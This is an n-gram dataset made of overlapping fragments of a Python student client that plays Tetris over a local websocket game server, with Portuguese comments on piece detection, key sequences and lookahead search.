ngram
listlengths 0
67.8k
|
|---|
[
"and piece[0][1] == piece[1][1] and piece[1][0] == piece[3][0] and piece[2][1] == piece[3][1]: fshape",
"all_keys = [] # grid = {(tup[0],tup[1]) for tup in initial_info['grid']} # x",
"válidas if (x_differential + max_x >= x - 1): break keys = [\"w\"]*rot",
"# Nova peça elif new_piece: # Caso a peça faça parte do lookahead",
"de uma peça anterior (só verifica se keys existe porque o pop das",
"next_shapes[:-2] #shapes = [current_shape] + next_shapes[:-2] s = Search(state,initial_info,shapes,variables,shapes_keys) s.search() all_keys = None",
"Shape(Z) #I (done) elif piece[0][1] == piece[1][1] and piece[1][1] == piece[2][1] and piece[2][1]",
"para a nova peça elif first_piece: current_shape = findShape(piece) next_shapes = [findShape(shape) for",
"= max(_fs.positions, key=lambda coords: coords[0])[0] name = _fs.name + str(rot) # percorrer colunas",
"server shapes_keys = shapesKeys(SHAPES,initial_info) A = -0.510066 B = -0.184483 C = -0.35663",
"if keys: await websocket.send( json.dumps({\"cmd\": \"key\", \"key\": keys.pop(0)}) ) # Peça recebida if",
"lookahead 3 shapes = [current_shape] + next_shapes[:] elif game_speed > 25 and game_speed",
"str(rot) # percorrer colunas [1,8] for a in range(1, x-1): x_differential = a",
"piece[2][1] and piece[1][0] == piece[3][0]: fshape = Shape(T) #L (done) elif piece[0][0] ==",
"piece[1][0] == piece[2][0] and piece[2][1] == piece[3][1]: fshape = Shape(L) return fshape #",
"BELLOW # You can change the default values using the command line, example:",
"and piece[1][1] == piece[2][1] and piece[1][0] == piece[3][0]: fshape = Shape(Z) #I (done)",
"25 and game_speed < 32: #lookahead 2 shapes = [current_shape] + next_shapes[:-1] elif",
"True # Nova peça elif new_piece: # Caso a peça faça parte do",
"elif piece[0][1] == piece[1][1] and piece[1][1] == piece[2][1] and piece[2][1] == piece[3][1]: fshape",
"in range(1, x-1): x_differential = a - min_x # dispensa soluções não válidas",
"return fshape # DO NOT CHANGE THE LINES BELLOW # You can change",
"= {(tup[0],tup[1]) for tup in initial_info['grid']} x = max(grid, key = lambda coord",
"[\"s\"] if x_differential < 0 else [\"d\"]*abs(x_differential) + [\"s\"] shapekeys.setdefault(name, []).append(keys) return shapekeys",
"the server if keys: await websocket.send( json.dumps({\"cmd\": \"key\", \"key\": keys.pop(0)}) ) # Peça",
"keys = all_keys.pop(0) # Encontrar a melhor solução para a nova peça elif",
"of sync with the server shapes_keys = shapesKeys(SHAPES,initial_info) A = -0.510066 B =",
"agent_loop(server_address=\"localhost:8000\", agent_name=\"student\"): async with websockets.connect(f\"ws://{server_address}/player\") as websocket: # Receive information about static game",
"assim, calcular a search tree keys = [] # isto pode ser um",
"= [] # isto pode ser um array de arrays, cada sub-array é",
"q podem ser premidas fshape.set_pos((x - fshape.dimensions.x) / 2, 0) for rot in",
"receive game update, this must be called timely or your game will get",
"# DO NOT CHANGE THE LINES BELLOW # You can change the default",
"s = Search(state,initial_info,shapes,variables,shapes_keys) s.search() all_keys = None try: all_keys = [sol.keys for sol",
"as combinaçoes de teclas q podem ser premidas fshape.set_pos((x - fshape.dimensions.x) / 2,",
"False keys = all_keys.pop(0) # Encontrar a melhor solução para a nova peça",
"especificas no lookahead first_piece = True #quando está é true, temos de usar",
"== piece[3][1]: fshape = Shape(L) return fshape # DO NOT CHANGE THE LINES",
"new_piece = True # Nova peça elif new_piece: # Caso a peça faça",
"do lookahead já foram enviadas, então acabou e a próxima peça recebida vai",
"32: #lookahead 1 shapes = [current_shape] + next_shapes[:-2] #shapes = [current_shape] + next_shapes[:-2]",
"grid = {(tup[0],tup[1]) for tup in initial_info['grid']} x = max(grid, key = lambda",
"[current_shape] + next_shapes[:-1] elif game_speed >= 32: #lookahead 1 shapes = [current_shape] +",
"elif game_speed >= 32: #lookahead 1 shapes = [current_shape] + next_shapes[:-2] #shapes =",
"= Shape(S) #Z (done) elif piece[0][0] == piece[2][0] and piece[1][1] == piece[2][1] and",
"= lambda coord : coord[1])[1] # print(x,y) while True: try: state = json.loads(",
"A = -0.510066 B = -0.184483 C = -0.35663 D = 0.760666 variables",
"+= [\"a\"]*abs(x_differential) + [\"s\"] if x_differential < 0 else [\"d\"]*abs(x_differential) + [\"s\"] shapekeys.setdefault(name,",
"parte do lookahead de uma peça anterior (só verifica se keys existe porque",
"findShape(piece): #S (done) if piece[0][0] == piece[1][0] and piece[1][1] == piece[2][1] and piece[2][0]",
"True #quando está é true, temos de usar o search() e calcular as",
"= True else: new_piece = False keys = all_keys.pop(0) # Encontrar a melhor",
"calcular as keys consoante o lookahead all_keys = [] # grid = {(tup[0],tup[1])",
"Receive information about static game properties await websocket.send(json.dumps({\"cmd\": \"join\", \"name\": agent_name})) initial_info =",
"coords[0])[0] max_x = max(_fs.positions, key=lambda coords: coords[0])[0] name = _fs.name + str(rot) #",
"L, Shape from search import * async def agent_loop(server_address=\"localhost:8000\", agent_name=\"student\"): async with websockets.connect(f\"ws://{server_address}/player\")",
"nova peça elif first_piece: current_shape = findShape(piece) next_shapes = [findShape(shape) for shape in",
"não existindo nenhuma nova, por agora if piece is None: new_piece = True",
"shapes = None if game_speed <= 25: # lookahead 3 shapes = [current_shape]",
"de arrays, cada sub-array é o conjunto de chaves para uma das peças",
"= Shape(I) #O (done) elif piece[0][0] == piece[2][0] and piece[0][1] == piece[1][1] and",
"piece[3][0] and piece[2][1] == piece[3][1]: fshape = Shape(O) #J (done) elif piece[0][1] ==",
"fshape = Shape(J) #T (done) elif piece[0][0] == piece[1][0] and piece[1][1] == piece[2][1]",
"= lambda coord : coord[0])[0] + 1 shapekeys = dict() #dicionario q guarda",
"piece[3][0]: fshape = Shape(S) #Z (done) elif piece[0][0] == piece[2][0] and piece[1][1] ==",
"for tup in initial_info['grid']} # x = max(grid, key = lambda coord :",
"/ 2, 0) for rot in range(0, len(fshape.plan)): # loop para fazer cada",
"for fshape in shapes: # para cada shape existente vai descobrir TODAS as",
"= asyncio.get_event_loop() SERVER = os.environ.get(\"SERVER\", \"localhost\") PORT = os.environ.get(\"PORT\", \"8000\") NAME = os.environ.get(\"NAME\",",
"nenhuma nova, por agora if piece is None: new_piece = True # Nova",
"a peça faça parte do lookahead de uma peça anterior (só verifica se",
"command line, example: # $ NAME='arrumador' python3 client.py loop = asyncio.get_event_loop() SERVER =",
"I, O, J, T, L, Shape from search import * async def agent_loop(server_address=\"localhost:8000\",",
"new_piece = True #variavel para saber é uma nova peça e, assim, calcular",
"current_shape = findShape(piece) next_shapes = [findShape(shape) for shape in next_pieces] shapes = None",
"sol in s.best_solution.solutions] except: all_keys = [[\"s\"]]*len(shapes) keys = all_keys.pop(0) new_piece = False",
"using the command line, example: # $ NAME='arrumador' python3 client.py loop = asyncio.get_event_loop()",
"J, T, L, Shape from search import * async def agent_loop(server_address=\"localhost:8000\", agent_name=\"student\"): async",
"Shape(L) return fshape # DO NOT CHANGE THE LINES BELLOW # You can",
"#lookahead 2 shapes = [current_shape] + next_shapes[:-1] elif game_speed >= 32: #lookahead 1",
"and piece[2][1] == piece[3][1]: fshape = Shape(O) #J (done) elif piece[0][1] == piece[1][1]",
"this must be called timely or your game will get out of sync",
"piece[3][1]: fshape = Shape(L) return fshape # DO NOT CHANGE THE LINES BELLOW",
"peça para essa rotaçao for fshape in shapes: # para cada shape existente",
"your game will get out of sync with the server if keys: await",
"initial_info): grid = {(tup[0],tup[1]) for tup in initial_info['grid']} x = max(grid, key =",
"in initial_info['grid']} # x = max(grid, key = lambda coord : coord[0])[0] +",
"[findShape(shape) for shape in next_pieces] shapes = None if game_speed <= 25: #",
"[1,8] for a in range(1, x-1): x_differential = a - min_x # dispensa",
"piece[1][1] and piece[1][0] == piece[3][0] and piece[2][1] == piece[3][1]: fshape = Shape(O) #J",
"= False except websockets.exceptions.ConnectionClosedOK: print(\"Server has cleanly disconnected us\") return def shapesKeys(shapes, initial_info):",
"= shapesKeys(SHAPES,initial_info) A = -0.510066 B = -0.184483 C = -0.35663 D =",
"chaves/keys do lookahead já foram enviadas, então acabou e a próxima peça recebida",
"print(x,y) while True: try: state = json.loads( await websocket.recv() ) # receive game",
"about static game properties await websocket.send(json.dumps({\"cmd\": \"join\", \"name\": agent_name})) initial_info = json.loads( await",
": coord[0])[0] + 1 # y = max(grid, key = lambda coord :",
"json import os import websockets from shape import S, Z, I, O, J,",
"# $ NAME='arrumador' python3 client.py loop = asyncio.get_event_loop() SERVER = os.environ.get(\"SERVER\", \"localhost\") PORT",
"= a - min_x # dispensa soluções não válidas if (x_differential + max_x",
"= [current_shape] + next_shapes[:] elif game_speed > 25 and game_speed < 32: #lookahead",
"keys += [\"a\"]*abs(x_differential) + [\"s\"] if x_differential < 0 else [\"d\"]*abs(x_differential) + [\"s\"]",
"s.best_solution.solutions] except: all_keys = [[\"s\"]]*len(shapes) keys = all_keys.pop(0) new_piece = False first_piece =",
"keys = [] # isto pode ser um array de arrays, cada sub-array",
"shape import S, Z, I, O, J, T, L, Shape from search import",
"D = 0.760666 variables = [A,B,C,D] new_piece = True #variavel para saber é",
"game properties await websocket.send(json.dumps({\"cmd\": \"join\", \"name\": agent_name})) initial_info = json.loads( await websocket.recv() )",
"combinaçoes de teclas q podem ser premidas fshape.set_pos((x - fshape.dimensions.x) / 2, 0)",
"tup in initial_info['grid']} # x = max(grid, key = lambda coord : coord[0])[0]",
"[] # isto pode ser um array de arrays, cada sub-array é o",
"python3 client.py loop = asyncio.get_event_loop() SERVER = os.environ.get(\"SERVER\", \"localhost\") PORT = os.environ.get(\"PORT\", \"8000\")",
") # receive game update, this must be called timely or your game",
"piece = None # A peça foi encaixada, não existindo nenhuma nova, por",
"Caso a peça faça parte do lookahead de uma peça anterior (só verifica",
"= all_keys.pop(0) new_piece = False first_piece = False except websockets.exceptions.ConnectionClosedOK: print(\"Server has cleanly",
"y = max(grid, key = lambda coord : coord[1])[1] # print(x,y) while True:",
"peças especificas no lookahead first_piece = True #quando está é true, temos de",
"async def agent_loop(server_address=\"localhost:8000\", agent_name=\"student\"): async with websockets.connect(f\"ws://{server_address}/player\") as websocket: # Receive information about",
"cada rotaçao da peça atual _fs = copy(fshape) _fs.rotate(rot) min_x = min(_fs.positions, key=lambda",
"todas as chaves/keys do lookahead já foram enviadas, então acabou e a próxima",
"all_keys = [sol.keys for sol in s.best_solution.solutions] except: all_keys = [[\"s\"]]*len(shapes) keys =",
"teclas possiveis no tabuleiro deça peça para essa rotaçao for fshape in shapes:",
"default values using the command line, example: # $ NAME='arrumador' python3 client.py loop",
"shapes = [current_shape] + next_shapes[:-1] elif game_speed >= 32: #lookahead 1 shapes =",
"_fs = copy(fshape) _fs.rotate(rot) min_x = min(_fs.positions, key=lambda coords: coords[0])[0] max_x = max(_fs.positions,",
"x_differential < 0 else [\"d\"]*abs(x_differential) + [\"s\"] shapekeys.setdefault(name, []).append(keys) return shapekeys def findShape(piece):",
"piece[2][1] and piece[2][0] == piece[3][0]: fshape = Shape(S) #Z (done) elif piece[0][0] ==",
"with websockets.connect(f\"ws://{server_address}/player\") as websocket: # Receive information about static game properties await websocket.send(json.dumps({\"cmd\":",
"x_differential = a - min_x # dispensa soluções não válidas if (x_differential +",
"import S, Z, I, O, J, T, L, Shape from search import *",
"lambda coord : coord[0])[0] + 1 shapekeys = dict() #dicionario q guarda shape+rotation",
"coords: coords[0])[0] name = _fs.name + str(rot) # percorrer colunas [1,8] for a",
"ser um array de arrays, cada sub-array é o conjunto de chaves para",
"no lookahead first_piece = True #quando está é true, temos de usar o",
"[]).append(keys) return shapekeys def findShape(piece): #S (done) if piece[0][0] == piece[1][0] and piece[1][1]",
"= [findShape(shape) for shape in next_pieces] shapes = None if game_speed <= 25:",
"#T (done) elif piece[0][0] == piece[1][0] and piece[1][1] == piece[2][1] and piece[1][0] ==",
"uma das peças especificas no lookahead first_piece = True #quando está é true,",
"get out of sync with the server shapes_keys = shapesKeys(SHAPES,initial_info) A = -0.510066",
"x = max(grid, key = lambda coord : coord[0])[0] + 1 # y",
"1 shapekeys = dict() #dicionario q guarda shape+rotation e todas as teclas possiveis",
"_fs.name + str(rot) # percorrer colunas [1,8] for a in range(1, x-1): x_differential",
"atual _fs = copy(fshape) _fs.rotate(rot) min_x = min(_fs.positions, key=lambda coords: coords[0])[0] max_x =",
"piece[2][1] and piece[1][0] == piece[3][0]: fshape = Shape(Z) #I (done) elif piece[0][1] ==",
"piece[1][0] == piece[3][0] and piece[2][1] == piece[3][1]: fshape = Shape(O) #J (done) elif",
"das peças especificas no lookahead first_piece = True #quando está é true, temos",
"client.py loop = asyncio.get_event_loop() SERVER = os.environ.get(\"SERVER\", \"localhost\") PORT = os.environ.get(\"PORT\", \"8000\") NAME",
"while True: try: state = json.loads( await websocket.recv() ) # receive game update,",
"elif piece[0][0] == piece[1][0] and piece[1][1] == piece[2][1] and piece[1][0] == piece[3][0]: fshape",
"pop das keys ja acontece acima) if not first_piece: # se todas as",
"rot in range(0, len(fshape.plan)): # loop para fazer cada rotaçao da peça atual",
"rotaçao for fshape in shapes: # para cada shape existente vai descobrir TODAS",
"and piece[1][1] == piece[2][1] and piece[1][0] == piece[3][0]: fshape = Shape(T) #L (done)",
"loop = asyncio.get_event_loop() SERVER = os.environ.get(\"SERVER\", \"localhost\") PORT = os.environ.get(\"PORT\", \"8000\") NAME =",
"0 else [\"d\"]*abs(x_differential) + [\"s\"] shapekeys.setdefault(name, []).append(keys) return shapekeys def findShape(piece): #S (done)",
"= max(grid, key = lambda coord : coord[0])[0] + 1 # y =",
"agora if piece is None: new_piece = True # Nova peça elif new_piece:",
"de usar o search() e calcular as keys consoante o lookahead all_keys =",
"game_speed < 32: #lookahead 2 shapes = [current_shape] + next_shapes[:-1] elif game_speed >=",
"== piece[3][0]: fshape = Shape(J) #T (done) elif piece[0][0] == piece[1][0] and piece[1][1]",
"== piece[1][0] and piece[1][0] == piece[2][0] and piece[2][1] == piece[3][1]: fshape = Shape(L)",
"#quando está é true, temos de usar o search() e calcular as keys",
"piece[1][1] == piece[2][1] and piece[2][0] == piece[3][0]: fshape = Shape(S) #Z (done) elif",
"initial_info = json.loads( await websocket.recv() ) # receive game update, this must be",
"+ 1 # y = max(grid, key = lambda coord : coord[1])[1] #",
"= _fs.name + str(rot) # percorrer colunas [1,8] for a in range(1, x-1):",
"= dict() #dicionario q guarda shape+rotation e todas as teclas possiveis no tabuleiro",
"vai fazer o search if not all_keys: first_piece = True else: new_piece =",
"has cleanly disconnected us\") return def shapesKeys(shapes, initial_info): grid = {(tup[0],tup[1]) for tup",
"and piece[2][0] == piece[3][0]: fshape = Shape(S) #Z (done) elif piece[0][0] == piece[2][0]",
"2 shapes = [current_shape] + next_shapes[:-1] elif game_speed >= 32: #lookahead 1 shapes",
"0) for rot in range(0, len(fshape.plan)): # loop para fazer cada rotaçao da",
"true, temos de usar o search() e calcular as keys consoante o lookahead",
"state['piece'] next_pieces = state['next_pieces'] # apenas a prineira peça game_speed = state['game_speed'] else:",
"piece[0][0] == piece[2][0] and piece[1][1] == piece[2][1] and piece[1][0] == piece[3][0]: fshape =",
"agent_name})) initial_info = json.loads( await websocket.recv() ) # receive game update, this must",
"search tree keys = [] # isto pode ser um array de arrays,",
"be called timely or your game will get out of sync with the",
"-0.184483 C = -0.35663 D = 0.760666 variables = [A,B,C,D] new_piece = True",
"state['game_speed'] else: piece = None # A peça foi encaixada, não existindo nenhuma",
"as websocket: # Receive information about static game properties await websocket.send(json.dumps({\"cmd\": \"join\", \"name\":",
"# para cada shape existente vai descobrir TODAS as combinaçoes de teclas q",
"arrays, cada sub-array é o conjunto de chaves para uma das peças especificas",
"existindo nenhuma nova, por agora if piece is None: new_piece = True #",
"grid = {(tup[0],tup[1]) for tup in initial_info['grid']} # x = max(grid, key =",
"32: #lookahead 2 shapes = [current_shape] + next_shapes[:-1] elif game_speed >= 32: #lookahead",
"min_x = min(_fs.positions, key=lambda coords: coords[0])[0] max_x = max(_fs.positions, key=lambda coords: coords[0])[0] name",
"# se todas as chaves/keys do lookahead já foram enviadas, então acabou e",
"piece[1][0] == piece[3][0]: fshape = Shape(Z) #I (done) elif piece[0][1] == piece[1][1] and",
"Search(state,initial_info,shapes,variables,shapes_keys) s.search() all_keys = None try: all_keys = [sol.keys for sol in s.best_solution.solutions]",
"e todas as teclas possiveis no tabuleiro deça peça para essa rotaçao for",
"piece[2][0] and piece[2][1] == piece[3][1]: fshape = Shape(L) return fshape # DO NOT",
"def findShape(piece): #S (done) if piece[0][0] == piece[1][0] and piece[1][1] == piece[2][1] and",
"and piece[0][0] == piece[2][0] and piece[2][0] == piece[3][0]: fshape = Shape(J) #T (done)",
"teclas q podem ser premidas fshape.set_pos((x - fshape.dimensions.x) / 2, 0) for rot",
"as chaves/keys do lookahead já foram enviadas, então acabou e a próxima peça",
"+ next_shapes[:-1] elif game_speed >= 32: #lookahead 1 shapes = [current_shape] + next_shapes[:-2]",
"and piece[1][0] == piece[3][0] and piece[2][1] == piece[3][1]: fshape = Shape(O) #J (done)",
"lookahead já foram enviadas, então acabou e a próxima peça recebida vai fazer",
"variables = [A,B,C,D] new_piece = True #variavel para saber é uma nova peça",
"and game_speed < 32: #lookahead 2 shapes = [current_shape] + next_shapes[:-1] elif game_speed",
"piece[0][1] == piece[1][1] and piece[1][1] == piece[2][1] and piece[2][1] == piece[3][1]: fshape =",
"not all_keys: first_piece = True else: new_piece = False keys = all_keys.pop(0) #",
"next_shapes[:-2] s = Search(state,initial_info,shapes,variables,shapes_keys) s.search() all_keys = None try: all_keys = [sol.keys for",
"cada sub-array é o conjunto de chaves para uma das peças especificas no",
"from shape import S, Z, I, O, J, T, L, Shape from search",
"def agent_loop(server_address=\"localhost:8000\", agent_name=\"student\"): async with websockets.connect(f\"ws://{server_address}/player\") as websocket: # Receive information about static",
"existe porque o pop das keys ja acontece acima) if not first_piece: #",
"SERVER = os.environ.get(\"SERVER\", \"localhost\") PORT = os.environ.get(\"PORT\", \"8000\") NAME = os.environ.get(\"NAME\", getpass.getuser()) loop.run_until_complete(agent_loop(f\"{SERVER}:{PORT}\",",
"a nova peça elif first_piece: current_shape = findShape(piece) next_shapes = [findShape(shape) for shape",
"piece[3][0]: fshape = Shape(J) #T (done) elif piece[0][0] == piece[1][0] and piece[1][1] ==",
"[current_shape] + next_shapes[:] elif game_speed > 25 and game_speed < 32: #lookahead 2",
"a melhor solução para a nova peça elif first_piece: current_shape = findShape(piece) next_shapes",
"import asyncio import getpass import json import os import websockets from shape import",
"min_x # dispensa soluções não válidas if (x_differential + max_x >= x -",
"#Z (done) elif piece[0][0] == piece[2][0] and piece[1][1] == piece[2][1] and piece[1][0] ==",
"for rot in range(0, len(fshape.plan)): # loop para fazer cada rotaçao da peça",
"(done) elif piece[0][0] == piece[1][0] and piece[1][1] == piece[2][1] and piece[1][0] == piece[3][0]:",
"+ next_shapes[:-2] s = Search(state,initial_info,shapes,variables,shapes_keys) s.search() all_keys = None try: all_keys = [sol.keys",
"first_piece = False except websockets.exceptions.ConnectionClosedOK: print(\"Server has cleanly disconnected us\") return def shapesKeys(shapes,",
"# You can change the default values using the command line, example: #",
"Shape from search import * async def agent_loop(server_address=\"localhost:8000\", agent_name=\"student\"): async with websockets.connect(f\"ws://{server_address}/player\") as",
"'piece' in state: piece = state['piece'] next_pieces = state['next_pieces'] # apenas a prineira",
"# Encontrar a melhor solução para a nova peça elif first_piece: current_shape =",
"piece[1][1] and piece[0][0] == piece[2][0] and piece[2][0] == piece[3][0]: fshape = Shape(J) #T",
"in next_pieces] shapes = None if game_speed <= 25: # lookahead 3 shapes",
"elif piece[0][0] == piece[2][0] and piece[0][1] == piece[1][1] and piece[1][0] == piece[3][0] and",
"= [] # grid = {(tup[0],tup[1]) for tup in initial_info['grid']} # x =",
"== piece[1][1] and piece[1][0] == piece[3][0] and piece[2][1] == piece[3][1]: fshape = Shape(O)",
"first_piece: current_shape = findShape(piece) next_shapes = [findShape(shape) for shape in next_pieces] shapes =",
"range(0, len(fshape.plan)): # loop para fazer cada rotaçao da peça atual _fs =",
"isto pode ser um array de arrays, cada sub-array é o conjunto de",
"findShape(piece) next_shapes = [findShape(shape) for shape in next_pieces] shapes = None if game_speed",
"= json.loads( await websocket.recv() ) # receive game update, this must be called",
"3 shapes = [current_shape] + next_shapes[:] elif game_speed > 25 and game_speed <",
"{(tup[0],tup[1]) for tup in initial_info['grid']} x = max(grid, key = lambda coord :",
"# loop para fazer cada rotaçao da peça atual _fs = copy(fshape) _fs.rotate(rot)",
"first_piece: # se todas as chaves/keys do lookahead já foram enviadas, então acabou",
"sync with the server if keys: await websocket.send( json.dumps({\"cmd\": \"key\", \"key\": keys.pop(0)}) )",
"piece[1][1] == piece[2][1] and piece[2][1] == piece[3][1]: fshape = Shape(I) #O (done) elif",
"= Shape(T) #L (done) elif piece[0][0] == piece[1][0] and piece[1][0] == piece[2][0] and",
"fazer cada rotaçao da peça atual _fs = copy(fshape) _fs.rotate(rot) min_x = min(_fs.positions,",
"percorrer colunas [1,8] for a in range(1, x-1): x_differential = a - min_x",
"fshape = Shape(I) #O (done) elif piece[0][0] == piece[2][0] and piece[0][1] == piece[1][1]",
"#variavel para saber é uma nova peça e, assim, calcular a search tree",
"cleanly disconnected us\") return def shapesKeys(shapes, initial_info): grid = {(tup[0],tup[1]) for tup in",
"update, this must be called timely or your game will get out of",
"é uma nova peça e, assim, calcular a search tree keys = []",
"A peça foi encaixada, não existindo nenhuma nova, por agora if piece is",
"in shapes: # para cada shape existente vai descobrir TODAS as combinaçoes de",
"piece[0][0] == piece[1][0] and piece[1][1] == piece[2][1] and piece[2][0] == piece[3][0]: fshape =",
"= Search(state,initial_info,shapes,variables,shapes_keys) s.search() all_keys = None try: all_keys = [sol.keys for sol in",
"keys.pop(0)}) ) # Peça recebida if 'piece' in state: piece = state['piece'] next_pieces",
"new_piece: # Caso a peça faça parte do lookahead de uma peça anterior",
"+ next_shapes[:-2] #shapes = [current_shape] + next_shapes[:-2] s = Search(state,initial_info,shapes,variables,shapes_keys) s.search() all_keys =",
"max_x = max(_fs.positions, key=lambda coords: coords[0])[0] name = _fs.name + str(rot) # percorrer",
"anterior (só verifica se keys existe porque o pop das keys ja acontece",
"\"join\", \"name\": agent_name})) initial_info = json.loads( await websocket.recv() ) # receive game update,",
"fshape = Shape(S) #Z (done) elif piece[0][0] == piece[2][0] and piece[1][1] == piece[2][1]",
"= [current_shape] + next_shapes[:-1] elif game_speed >= 32: #lookahead 1 shapes = [current_shape]",
"in range(0, len(fshape.plan)): # loop para fazer cada rotaçao da peça atual _fs",
"\"key\", \"key\": keys.pop(0)}) ) # Peça recebida if 'piece' in state: piece =",
"= [current_shape] + next_shapes[:-2] #shapes = [current_shape] + next_shapes[:-2] s = Search(state,initial_info,shapes,variables,shapes_keys) s.search()",
"fshape = Shape(L) return fshape # DO NOT CHANGE THE LINES BELLOW #",
"fshape = Shape(O) #J (done) elif piece[0][1] == piece[1][1] and piece[0][0] == piece[2][0]",
"def shapesKeys(shapes, initial_info): grid = {(tup[0],tup[1]) for tup in initial_info['grid']} x = max(grid,",
"faça parte do lookahead de uma peça anterior (só verifica se keys existe",
"== piece[1][0] and piece[1][1] == piece[2][1] and piece[1][0] == piece[3][0]: fshape = Shape(T)",
"import websockets from shape import S, Z, I, O, J, T, L, Shape",
"= -0.184483 C = -0.35663 D = 0.760666 variables = [A,B,C,D] new_piece =",
"shape existente vai descobrir TODAS as combinaçoes de teclas q podem ser premidas",
"return shapekeys def findShape(piece): #S (done) if piece[0][0] == piece[1][0] and piece[1][1] ==",
"websocket: # Receive information about static game properties await websocket.send(json.dumps({\"cmd\": \"join\", \"name\": agent_name}))",
"conjunto de chaves para uma das peças especificas no lookahead first_piece = True",
"é true, temos de usar o search() e calcular as keys consoante o",
"+ str(rot) # percorrer colunas [1,8] for a in range(1, x-1): x_differential =",
"piece[2][1] == piece[3][1]: fshape = Shape(O) #J (done) elif piece[0][1] == piece[1][1] and",
"and piece[2][0] == piece[3][0]: fshape = Shape(J) #T (done) elif piece[0][0] == piece[1][0]",
"peça elif first_piece: current_shape = findShape(piece) next_shapes = [findShape(shape) for shape in next_pieces]",
"game will get out of sync with the server shapes_keys = shapesKeys(SHAPES,initial_info) A",
"== piece[2][0] and piece[1][1] == piece[2][1] and piece[1][0] == piece[3][0]: fshape = Shape(Z)",
"game_speed <= 25: # lookahead 3 shapes = [current_shape] + next_shapes[:] elif game_speed",
"elif piece[0][0] == piece[2][0] and piece[1][1] == piece[2][1] and piece[1][0] == piece[3][0]: fshape",
"piece[1][1] == piece[2][1] and piece[1][0] == piece[3][0]: fshape = Shape(T) #L (done) elif",
"Shape(T) #L (done) elif piece[0][0] == piece[1][0] and piece[1][0] == piece[2][0] and piece[2][1]",
"and piece[2][1] == piece[3][1]: fshape = Shape(L) return fshape # DO NOT CHANGE",
"recebida if 'piece' in state: piece = state['piece'] next_pieces = state['next_pieces'] # apenas",
"None # A peça foi encaixada, não existindo nenhuma nova, por agora if",
"all_keys = None try: all_keys = [sol.keys for sol in s.best_solution.solutions] except: all_keys",
"piece[2][0] == piece[3][0]: fshape = Shape(S) #Z (done) elif piece[0][0] == piece[2][0] and",
"todas as teclas possiveis no tabuleiro deça peça para essa rotaçao for fshape",
"key = lambda coord : coord[1])[1] # print(x,y) while True: try: state =",
"next_shapes[:-1] elif game_speed >= 32: #lookahead 1 shapes = [current_shape] + next_shapes[:-2] #shapes",
"#dicionario q guarda shape+rotation e todas as teclas possiveis no tabuleiro deça peça",
"tabuleiro deça peça para essa rotaçao for fshape in shapes: # para cada",
"else: new_piece = False keys = all_keys.pop(0) # Encontrar a melhor solução para",
"getpass import json import os import websockets from shape import S, Z, I,",
"will get out of sync with the server shapes_keys = shapesKeys(SHAPES,initial_info) A =",
"piece[3][0]: fshape = Shape(T) #L (done) elif piece[0][0] == piece[1][0] and piece[1][0] ==",
"game will get out of sync with the server if keys: await websocket.send(",
"#shapes = [current_shape] + next_shapes[:-2] s = Search(state,initial_info,shapes,variables,shapes_keys) s.search() all_keys = None try:",
"except websockets.exceptions.ConnectionClosedOK: print(\"Server has cleanly disconnected us\") return def shapesKeys(shapes, initial_info): grid =",
"or your game will get out of sync with the server shapes_keys =",
"25: # lookahead 3 shapes = [current_shape] + next_shapes[:] elif game_speed > 25",
"disconnected us\") return def shapesKeys(shapes, initial_info): grid = {(tup[0],tup[1]) for tup in initial_info['grid']}",
"acima) if not first_piece: # se todas as chaves/keys do lookahead já foram",
"shapekeys = dict() #dicionario q guarda shape+rotation e todas as teclas possiveis no",
"para essa rotaçao for fshape in shapes: # para cada shape existente vai",
"solução para a nova peça elif first_piece: current_shape = findShape(piece) next_shapes = [findShape(shape)",
"== piece[3][1]: fshape = Shape(O) #J (done) elif piece[0][1] == piece[1][1] and piece[0][0]",
"coord : coord[1])[1] # print(x,y) while True: try: state = json.loads( await websocket.recv()",
"não válidas if (x_differential + max_x >= x - 1): break keys =",
"game update, this must be called timely or your game will get out",
"piece[1][0] and piece[1][1] == piece[2][1] and piece[2][0] == piece[3][0]: fshape = Shape(S) #Z",
"# Caso a peça faça parte do lookahead de uma peça anterior (só",
"False except websockets.exceptions.ConnectionClosedOK: print(\"Server has cleanly disconnected us\") return def shapesKeys(shapes, initial_info): grid",
"piece[0][1] == piece[1][1] and piece[1][0] == piece[3][0] and piece[2][1] == piece[3][1]: fshape =",
"static game properties await websocket.send(json.dumps({\"cmd\": \"join\", \"name\": agent_name})) initial_info = json.loads( await websocket.recv()",
"+ next_shapes[:] elif game_speed > 25 and game_speed < 32: #lookahead 2 shapes",
"TODAS as combinaçoes de teclas q podem ser premidas fshape.set_pos((x - fshape.dimensions.x) /",
"all_keys: first_piece = True else: new_piece = False keys = all_keys.pop(0) # Encontrar",
"if game_speed <= 25: # lookahead 3 shapes = [current_shape] + next_shapes[:] elif",
"a próxima peça recebida vai fazer o search if not all_keys: first_piece =",
"with the server shapes_keys = shapesKeys(SHAPES,initial_info) A = -0.510066 B = -0.184483 C",
"import json import os import websockets from shape import S, Z, I, O,",
"max_x >= x - 1): break keys = [\"w\"]*rot keys += [\"a\"]*abs(x_differential) +",
"shapes = [current_shape] + next_shapes[:-2] #shapes = [current_shape] + next_shapes[:-2] s = Search(state,initial_info,shapes,variables,shapes_keys)",
"o lookahead all_keys = [] # grid = {(tup[0],tup[1]) for tup in initial_info['grid']}",
"(done) elif piece[0][0] == piece[2][0] and piece[0][1] == piece[1][1] and piece[1][0] == piece[3][0]",
"os import websockets from shape import S, Z, I, O, J, T, L,",
"# A peça foi encaixada, não existindo nenhuma nova, por agora if piece",
"uma nova peça e, assim, calcular a search tree keys = [] #",
"next_shapes[:] elif game_speed > 25 and game_speed < 32: #lookahead 2 shapes =",
"None: new_piece = True # Nova peça elif new_piece: # Caso a peça",
"s.search() all_keys = None try: all_keys = [sol.keys for sol in s.best_solution.solutions] except:",
"= state['game_speed'] else: piece = None # A peça foi encaixada, não existindo",
"= 0.760666 variables = [A,B,C,D] new_piece = True #variavel para saber é uma",
"= None try: all_keys = [sol.keys for sol in s.best_solution.solutions] except: all_keys =",
"line, example: # $ NAME='arrumador' python3 client.py loop = asyncio.get_event_loop() SERVER = os.environ.get(\"SERVER\",",
"# x = max(grid, key = lambda coord : coord[0])[0] + 1 #",
"next_pieces = state['next_pieces'] # apenas a prineira peça game_speed = state['game_speed'] else: piece",
"out of sync with the server if keys: await websocket.send( json.dumps({\"cmd\": \"key\", \"key\":",
"with the server if keys: await websocket.send( json.dumps({\"cmd\": \"key\", \"key\": keys.pop(0)}) ) #",
"elif first_piece: current_shape = findShape(piece) next_shapes = [findShape(shape) for shape in next_pieces] shapes",
